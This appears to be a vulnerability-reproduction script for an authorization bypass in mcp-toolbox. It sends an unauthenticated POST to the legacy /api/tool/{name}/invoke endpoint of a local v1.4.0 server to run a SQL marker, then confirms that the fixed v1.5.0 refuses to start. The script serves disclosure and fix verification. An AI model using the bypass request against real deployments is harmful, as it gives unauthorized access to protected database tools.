#!/bin/bash
# CVE-2026-14537 reproduction: google/mcp-toolbox (googleapis/genai-toolbox)
# authorization bypass -- unauthenticated tool invocation via the legacy
# direct HTTP API (POST /api/tool/{toolName}/invoke) when MCP auth is enabled
# together with --enable-api.
#
# Proof strategy (real product, no sanitizer, remote HTTP boundary):
#   1. Build the real mcp-toolbox server at v1.4.0 (vulnerable) and v1.5.0
#      (fixed in commit a6ff910a602 "fail if MCP auth is enabled together
#      with enable-api").
#   2. Stand up a local OIDC authorization-server stub (required at startup
#      by the generic mcpEnabled authService).
#   3. Start v1.4.0 with tools.yaml: an mcpEnabled generic authService with
#      scopesRequired plus a tool protected ONLY by tool-level scopesRequired
#      (no legacy authRequired), with --enable-api.
#   4. Attacker request: POST /api/tool/protected-tool/invoke with NO
#      Authorization header. VULNERABLE => HTTP 200 and the SQL marker
#      executes. Contrast: POST /mcp without a token => HTTP 401 (the MCP
#      path enforces authorization correctly).
#   5. Fixed v1.5.0 with the identical config+flags refuses to start
#      ("MCP Auth cannot be enabled together with the legacy HTTP API"),
#      closing the bypass.
#
# Exit 0 = vulnerability confirmed on v1.4.0 AND fix verified on v1.5.0.
# Exit 1 = not reproduced.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
cd "$ROOT"

exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

VULN_REF="v1.4.0"
FIXED_REF="v1.5.0"
GO_VERSION="go1.26.3"
MARKER="CVE-2026-14537-PWNED"
OIDC_PORT=8099
VULN_PORT=5000
FIXED_PORT=5001
VULN_BASE="http://127.0.0.1:${VULN_PORT}"

# Build scratch: the Go module/build caches for this repo exceed the small
# bundle tmpfs, so caches live on scratch space (/tmp), NOT in the bundle.
# Only final binaries, logs, and manifests are written into the bundle.
SCRATCH="${PRUVA_SCRATCH:-/tmp/cve-2026-14537-build}"
mkdir -p "$SCRATCH"

echo "=== CVE-2026-14537 reproduction: mcp-toolbox legacy HTTP API authz bypass ==="

# ---------------------------------------------------------------------------
# 0. Locate the prepared project cache (deterministic layout: <cache>/repo).
# ---------------------------------------------------------------------------
CACHE_CTX="$ROOT/project_cache_context.json"
REPO=""
MIRROR=""
if [ -f "$CACHE_CTX" ]; then
  PREPARED="$(jq -r '.prepared // false' "$CACHE_CTX")"
  CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$CACHE_CTX")"
  MIRROR="$(jq -r '.repo_mirror_dir // empty' "$CACHE_CTX")"
  if [ "$PREPARED" = "true" ] && [ -n "$CACHE_DIR" ]; then
    REPO="$CACHE_DIR/repo"
    echo "[*] Using prepared project cache repo: $REPO"
  fi
fi
if [ -z "$REPO" ]; then
  REPO="$SCRATCH/mcp-toolbox"
  echo "[*] No prepared cache; falling back to $REPO"
fi

if [ ! -d "$REPO/.git" ]; then
  mkdir -p "$(dirname "$REPO")"
  if [ -n "$MIRROR" ] && [ -d "$MIRROR/mcp-toolbox.git" ]; then
    git clone "$MIRROR/mcp-toolbox.git" "$REPO"
  else
    git clone https://github.com/googleapis/genai-toolbox "$REPO"
  fi
fi
git -C "$REPO" rev-parse --verify -q "$VULN_REF^{commit}" >/dev/null || git -C "$REPO" fetch --tags origin
git -C "$REPO" rev-parse --verify -q "$FIXED_REF^{commit}" >/dev/null || git -C "$REPO" fetch --tags origin

# ---------------------------------------------------------------------------
# 1. Go toolchain (sandbox starts without Go; install if missing/too old).
# ---------------------------------------------------------------------------
need_go_install=1
if command -v go >/dev/null 2>&1; then
  cur="$(go version | awk '{print $3}')"   # e.g. go1.26.3
  majmin="${cur#go}"
  maj="${majmin%%.*}"
  rest="${majmin#*.}"
  min="${rest%%.*}"
  if [ "$maj" -gt 1 ] || { [ "$maj" -eq 1 ] && [ "$min" -ge 26 ]; }; then
    need_go_install=0
    echo "[*] System Go $cur is sufficient"
  fi
fi
if [ "$need_go_install" -eq 1 ]; then
  GODIR="$SCRATCH/go"
  if [ ! -x "$GODIR/bin/go" ]; then
    echo "[*] Installing Go $GO_VERSION into $GODIR"
    mkdir -p "$GODIR"
    tmp_tgz="$SCRATCH/go.tgz"
    curl -fsSL -o "$tmp_tgz" "https://go.dev/dl/${GO_VERSION}.linux-amd64.tar.gz"
    tar -C "$GODIR" --strip-components=1 -xzf "$tmp_tgz"
    rm -f "$tmp_tgz"
  fi
  export PATH="$GODIR/bin:$PATH"
fi
export GOTOOLCHAIN=local
export GOCACHE="$SCRATCH/gocache"
export GOMODCACHE="$SCRATCH/gomodcache"
go version

# ---------------------------------------------------------------------------
# 2. Build the real product binaries (vulnerable + fixed).
# ---------------------------------------------------------------------------
build_ref() {
  local ref="$1" out="$2"
  local resolved stamp
  resolved="$(git -C "$REPO" rev-parse "$ref^{commit}")"
  stamp="$out.sha"
  if [ -x "$out" ] && [ -f "$stamp" ] && [ "$(cat "$stamp")" = "$resolved" ]; then
    echo "[*] Reusing cached build $out ($resolved)"
    return 0
  fi
  echo "[*] Building mcp-toolbox $ref ($resolved) -> $out"
  git -C "$REPO" checkout -q "$resolved"
  ( cd "$REPO" && go build -o "$out" . )
  echo "$resolved" > "$stamp"
}

build_ref "$VULN_REF" "$SCRATCH/toolbox-v1.4.0"
build_ref "$FIXED_REF" "$SCRATCH/toolbox-v1.5.0"

# ---------------------------------------------------------------------------
# 3. Start the local OIDC authorization-server stub (the mcpEnabled generic
#    authService discovers it at startup).
# ---------------------------------------------------------------------------
PIDS=()
cleanup() {
  for p in "${PIDS[@]:-}"; do
    [ -n "$p" ] && kill "$p" 2>/dev/null || true
  done
}
trap cleanup EXIT

python3 "$REPRO_DIR/oidc_stub.py" "$OIDC_PORT" >"$LOGS/oidc_stub.log" 2>&1 &
PIDS+=($!)
for i in $(seq 1 50); do
  if curl -fsS --max-time 2 "http://127.0.0.1:${OIDC_PORT}/.well-known/openid-configuration" >/dev/null 2>&1; then
    break
  fi
  sleep 0.2
done
echo "[*] OIDC stub up on port $OIDC_PORT"

TOOLS_FILE="$REPRO_DIR/tools.yaml"

# ---------------------------------------------------------------------------
# 4. VULNERABLE RUN (v1.4.0): start the real server with --enable-api.
# ---------------------------------------------------------------------------
echo "[*] Starting mcp-toolbox $VULN_REF on port $VULN_PORT (--enable-api, MCP auth enabled)"
"$SCRATCH/toolbox-v1.4.0" \
  --config "$TOOLS_FILE" \
  --enable-api \
  --toolbox-url="$VULN_BASE" \
  --port "$VULN_PORT" \
  --log-level DEBUG \
  >"$LOGS/vuln_server.log" 2>&1 &
PIDS+=($!)

health_ok=0
for i in $(seq 1 150); do
  if curl -fsS --max-time 2 "$VULN_BASE/" 2>/dev/null | grep -q "Hello"; then
    health_ok=1
    break
  fi
  sleep 0.2
done
if [ "$health_ok" -ne 1 ]; then
  echo "[-] v1.4.0 server failed to become healthy; see logs/vuln_server.log"
  exit 1
fi
echo "[+] v1.4.0 server is healthy"

# 4a. Attacker request: NO Authorization header, straight to the legacy API.
echo "[*] Sending unauthenticated POST /api/tool/protected-tool/invoke"
vuln_status="$(curl -sS --max-time 10 -o "$LOGS/vuln_api_invoke_body.json" -w '%{http_code}' \
  -X POST "$VULN_BASE/api/tool/protected-tool/invoke" \
  -H 'Content-Type: application/json' \
  -d "{\"sql\": \"SELECT '$MARKER' AS marker\"}")"
echo "$vuln_status" > "$LOGS/vuln_api_invoke_status.txt"
echo "[*] Legacy API response status: $vuln_status"
cat "$LOGS/vuln_api_invoke_body.json"; echo

# 4b. Contrast: the MCP endpoint enforces authorization (401 without token).
echo "[*] Sending unauthenticated POST /mcp (tools/call) for contrast"
mcp_status="$(curl -sS --max-time 10 -o "$LOGS/vuln_mcp_noauth_body.json" -w '%{http_code}' \
  -X POST "$VULN_BASE/mcp" \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"protected-tool","arguments":{"sql":"SELECT 1"}}}')"
echo "$mcp_status" > "$LOGS/vuln_mcp_noauth_status.txt"
echo "[*] MCP endpoint response status without token: $mcp_status"
cat "$LOGS/vuln_mcp_noauth_body.json"; echo

# ---------------------------------------------------------------------------
# 5. FIXED RUN (v1.5.0): identical config + --enable-api must fail closed.
# ---------------------------------------------------------------------------
echo "[*] Starting mcp-toolbox $FIXED_REF with identical config and --enable-api (expect startup refusal)"
set +e
timeout 20 "$SCRATCH/toolbox-v1.5.0" \
  --config "$TOOLS_FILE" \
  --enable-api \
  --toolbox-url="http://127.0.0.1:${FIXED_PORT}" \
  --port "$FIXED_PORT" \
  --log-level DEBUG \
  >"$LOGS/fixed_server.log" 2>&1
fixed_rc=$?
set -e
echo "[*] v1.5.0 exit code with --enable-api + MCP auth: $fixed_rc"
grep -m1 "MCP Auth" "$LOGS/fixed_server.log" || true

fixed_refused=0
if grep -q "MCP Auth cannot be enabled together with the legacy HTTP API" "$LOGS/fixed_server.log"; then
  fixed_refused=1
fi
# Defense in depth: confirm nothing ended up serving on the fixed port.
if curl -fsS --max-time 2 "http://127.0.0.1:${FIXED_PORT}/" >/dev/null 2>&1; then
  echo "[-] Unexpected: v1.5.0 is serving on $FIXED_PORT"
  fixed_refused=0
fi

# ---------------------------------------------------------------------------
# 6. Verdict.
# ---------------------------------------------------------------------------
vuln_confirmed=0
if [ "$vuln_status" = "200" ] && grep -q "$MARKER" "$LOGS/vuln_api_invoke_body.json"; then
  vuln_confirmed=1
fi
mcp_protected=0
if [ "$mcp_status" = "401" ] || [ "$mcp_status" = "403" ]; then
  mcp_protected=1
fi

echo "------------------------------------------------------------"
echo "vulnerable unauthenticated API invoke succeeded : $vuln_confirmed (status=$vuln_status)"
echo "MCP endpoint rejects unauthenticated caller     : $mcp_protected (status=$mcp_status)"
echo "fixed v1.5.0 fails closed at startup            : $fixed_refused (rc=$fixed_rc)"
echo "------------------------------------------------------------"

proofs_json="$(printf '%s\n' \
  "logs/reproduction_steps.log" \
  "logs/vuln_server.log" \
  "logs/vuln_api_invoke_status.txt" \
  "logs/vuln_api_invoke_body.json" \
  "logs/vuln_mcp_noauth_status.txt" \
  "logs/vuln_mcp_noauth_body.json" \
  "logs/fixed_server.log" \
  "logs/oidc_stub.log" | jq -R . | jq -s .)"

manifest_ok=false
if [ "$vuln_confirmed" -eq 1 ]; then manifest_ok=true; fi
jq -n \
  --argjson healthcheck "$([ "$health_ok" -eq 1 ] && echo true || echo false)" \
  --argjson target_reached "$manifest_ok" \
  --argjson proofs "$proofs_json" \
  --arg notes "CVE-2026-14537: v1.4.0 legacy HTTP API invoked scope-protected tool without Authorization (HTTP $vuln_status); MCP endpoint returned $mcp_status without token; v1.5.0 refused --enable-api + MCP auth combo (refused=$fixed_refused)." \
  '{
     entrypoint_kind: "endpoint",
     entrypoint_detail: "POST /api/tool/protected-tool/invoke",
     service_started: true,
     healthcheck_passed: $healthcheck,
     target_path_reached: $target_reached,
     runtime_stack: ["mcp-toolbox v1.4.0 (vulnerable)", "mcp-toolbox v1.5.0 (fixed)", "python3 oidc_stub"],
     proof_artifacts: $proofs,
     notes: $notes
   }' > "$REPRO_DIR/runtime_manifest.json"

if [ "$vuln_confirmed" -eq 1 ] && [ "$fixed_refused" -eq 1 ]; then
  echo "[+] CONFIRMED: unauthenticated invocation of a scope-protected tool via the legacy HTTP API (v1.4.0); v1.5.0 fails closed."
  exit 0
fi
echo "[-] NOT CONFIRMED"
exit 1
